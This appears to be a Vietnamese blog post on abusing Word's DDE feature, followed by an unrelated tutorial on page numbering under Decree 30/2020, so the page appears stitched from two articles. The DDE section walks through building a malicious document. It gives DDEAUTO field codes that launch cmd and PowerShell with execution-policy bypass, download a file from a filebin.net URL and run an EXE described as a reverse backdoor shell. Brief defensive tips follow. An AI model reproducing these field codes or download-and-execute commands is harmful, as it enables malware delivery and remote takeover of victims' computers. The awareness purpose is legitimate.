Vậy DDE là gì?

DDE là viết tắt của Dynamic Data Exchange và đây là một tính năng của Office cho phép ứng dụng Office tải dữ liệu từ các ứng dụng Office khác. Ví dụ: tệp Word có thể cập nhật bảng bằng cách kéo dữ liệu từ tệp Excel mỗi khi tệp Word được mở. Tính năng này giúp Word có thể chia sẻ và trao đổi dữ liệu với các ứng dụng khác.

DDE có khả năng cho phép file Word khi được mở có thể thực thi đoạn mã lưu trữ trong một file khác và cho phép các ứng dụng có thể gửi bản cập nhật dữ liệu mới.

Ngay khi đọc xong câu này, các bạn nên mở máy tính/laptop lên và kiểm tra xem Microsoft Office của bạn có bật chức năng DDE này hay không.

Nhấn nút cửa sổ Windown -> gõ tìm “Registry Editor” –> Truy cập theo từng mục như sau: \HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Security\ –> Nhìn cột Name nếu các bạn thấy tên là “AllowDDE” thì lập tức xóa ngay nhé (Ngoại trừ các bạn hiểu rõ về chức năng này còn không thì hãy xóa đi nhé!)

Nguy hiểm vậy tại sao Microsoft lại không fix?

Vào ngày 23/08/2017, báo cáo đầu tiên đã được gửi lên Microsoft.

Đến ngày 26/09/2017, Microsoft đã phản hồi lại rằng đây là 1 TÍNH NĂNG và Microsoft đã đưa ra khuyến cáo để người dùng Office có thể tự bảo vệ mình khỏi các cuộc tấn công. Cách đơn giản nhất để giữ an toàn là cẩn trọng trước mọi thông điệp lạ hiện ra mỗi khi mở các tệp văn bản.

Đến 12/2017, Microsoft chính thức cập nhật thay đổi cho Microsoft Word, vẫn giữ chức năng DDE, nhưng mặc định khi người dùng mở file word có DDE, link (hoặc lệnh) sẽ không được kích hoạt tự động.

Kỹ thuật đính kèm Virus vào file Word

Đây là không hẵn là chèn virus mà sẽ kích hoạt lệnh tải virus về và kích hoạt khi bạn mở file Word lên.

Bây giờ mình sẽ tiến hành trình bày chi tiết cách hacker đã chiếm quyền điều khiển máy bạn bằng file Word.

Về cơ bản, đầu tiên mở file Word lên, vào Insert -> Quick Parts -> Field…

Sẽ có 1 bảng hiện ra, tiến hành click double vào ” = (Formula ) ”

1 dòng chữ sẽ hiện ra, chuột phải vào, chọn “Toggle Field Codes”

Thay đổi nội dung trong ngoặc thành code sau:

DDEAUTO "C:\\Windows\\System32\\cmd.exe" "/k calc.exe"

Mục đích của câu lệnh trên: truy cập và Command Prompt (cmd) trên Windows và mở ứng dụng máy tính (calc.exe )

Save lại và khi mở file này lên, Word sẽ hỏi bạn có muốn bật calc.exe không?

Khi nhấn YES, ứng dụng máy tính sẽ được mở

Câu hỏi đặt ra ở đây là các bạn có thể thấy file Word có thể truy cập vào cmd của windown, vậy thay vì mở ứng dụng máy tính , ta có thể thực thi nhiều quyền khác như, mở powerShell, tạo backdoor, tải file virus về máy và chiếm quyền điều khiển máy tính.

Ví dụ câu lệnh:

{ DDEAUTO "C:\\windows\\system32\\cmd.exe /k powershell -NoP -NonI -Exec Bypass IEX (New-Object System.Net.WebClient).DownloadFile('https://filebin.net/hrarledvb6twlgek/test.txt?t=9gxtd1yk%27%2C%27test1.txt');start 'test1.txt' # " "for security reasons click YES" }

Mục đích: Tải file txt từ trang web trên và thực thi mở file vừa tải.

{ DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\windows\\system32\\cmd.exe /k powershell -NoP -NonI -Exec Bypass IEX (New-Object System.Net.WebClient).DownloadFile('https://filebin.net/hrarledvb6twlgek/test.txt?t=9gxtd1yk%27%2C%27test1.txt');start 'RCE.exe' # " "for security reasons click YES" }

Thay đổi từ file txt thành file EXE và thực thi ( tùy mục đích file EXE này được tạo ra với mục đích gì ví dụ như Malware, Virus, Trojan,….. ) Trong video mình demo, mục đích file EXE là reverse backdoor shell windows.

Cách phòng chống

Với mức độ nguy hiểm như vậy, chúng ta nên làm gì?

• Đầu tiên kể đến trước là làm lưu ý trên cùng mình vừa nêu.
• Quét virus với file vừa tải về

Ví dụ trang web https://www.virustotal.com/gui/

• Cẩn thận những file từ những nguồn không uy tín
• Nếu nghi ngờ, hãy ra quán nét để test trước .

Hi vọng qua bài viết này có thể bảo vệ mọi người tránh những thủ đoạn nguy hiểm của các hacker

Cảm ơn mọi người đã dành thời gian đọc bài viết này ^^! Chúc mọi người một ngày tốt lành.

Bài viết của tác giả Nguyễn Quốc Khánh chia sẻ trong Group Nhận thức về an ninh mạng cùng Hieupc và những người bạn – 7Onez.com

Câu hỏi thường gặp

DDE trong Word là gì và tại sao nó lại nguy hiểm?

DDE (Dynamic Data Exchange) là tính năng của Microsoft Office cho phép các ứng dụng Office trao đổi dữ liệu. Hacker có thể lợi dụng DDE để chèn mã độc vào file Word, thực thi các lệnh nguy hiểm trên máy tính của bạn khi file được mở.

Tôi có thể làm gì để bảo vệ máy tính khỏi nguy cơ này?

Hãy xóa mục “AllowDDE” trong Registry Editor (HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Security\) hoặc cập nhật Microsoft Office lên phiên bản mới nhất. Quan trọng nhất là luôn cẩn thận với các file Word từ nguồn không tin cậy.

Nếu tôi vô tình mở một file Word chứa mã độc, điều gì sẽ xảy ra?

Tùy thuộc vào mã độc được chèn, máy tính của bạn có thể bị nhiễm virus, bị đánh cắp thông tin, hoặc bị điều khiển từ xa. Vì vậy, hãy luôn quét virus cho các file đáng ngờ trước khi mở.

Trước đây, đối với văn bản chính quyền được trình bày số trang được trình bày ở góc dưới bên phải trang giấy (footer). Thì nay đối với Nghị định 30/2020/NĐ-CP số trang được trình bày ở trên đầu trang giấy (header) và canh giữa, thể hiện bằng chữ số Ả-rập, cỡ chữ 13 đến 14, kiểu chữ đứng và không hiển thị số trang ở trang đầu tiên.

Trong bài viết này, mình sẽ hướng dẫn cách đánh số trang ở phía trên trang giấy, canh giữa và bỏ trang đầu để thực hiện đúng theo Nghị định 30/2020/NĐ-CP. Như vậy theo Nghị định, chúng ta phải đánh số trang bắt đầu từ Trang 2 và là số 2.

Cách đánh số trang văn bản trên đầu, bỏ trang đầu tiên

Đầu tiên bạn cần mở phần mềm Microsoft Word và soạn thảo hoàn tất văn bản. Sau đó thực hiện các bước bên dưới:

Bước 1: Sau khi đã soạn thảo văn bản xong (văn bản từ 2 trang trở lên). Bạn click vào Menu Insert -> Page Number -> Top of Page -> chọn ô thứ 2 chỗ số 1 được canh giữa.

Sau khi thực hiện bước 1 bạn sẽ thấy tất cả các Trang của văn bản đều được đánh số trang. Để thực hiện xóa số trang ở trang đầu tiên, bạn làm tiếp bước 2 nhé.

Bước 2: Bạn vào Menu Layout -> chỗ góc dưới Page Setup có dấu mũi tên, hãy nhấn vào đó.

Bước 3: Trong hộp thoại Page Setup, chọn qua tab Layout. Trong phần Headers and footers->  Check vào ô Diffrent first page. Nhấn OK để hoàn tất

Bây giờ quay ra lại văn bản, bạn sẽ thấy số trang được đánh trên đầu, được canh giữa bắt đầu từ trang số 2. Trang đầu tiên sẽ không có số trang.

Tiếp đến, bạn double click vào số 2 của Trang, và bôi đen và chọn Font, kiểu chữ, định đạng theo đúng quy định: size 13-14, chữ đứng.

Bạn có thể xem video hướng dẫn chi tiết ở dưới:

Như vậy chỉ với 3 bước đơn giản, bạn đã có thể đánh số trang trên đầu và bỏ trang đầu tiên và chọn kiểu font, kích cở đúng theo hướng dẫn của Nghị định 30/2020/NĐ-CP.

Câu hỏi thường gặp

Làm sao để đánh số trang ở đầu trang trong Word?

Chọn Insert > Page Number > Top of Page, rồi chọn vị trí số trang ở giữa trên cùng.

Tôi muốn bỏ số trang trên trang đầu tiên, làm thế nào?

Vào Layout > Page Setup, chọn tab Layout, tích vào “Different First Page” rồi nhấn OK.

Làm thế nào để định dạng font chữ số trang theo đúng quy định (size 13-14, chữ đứng)?

Nhấp đúp vào số trang, chọn font chữ, cỡ chữ 13-14 và kiểu chữ đứng.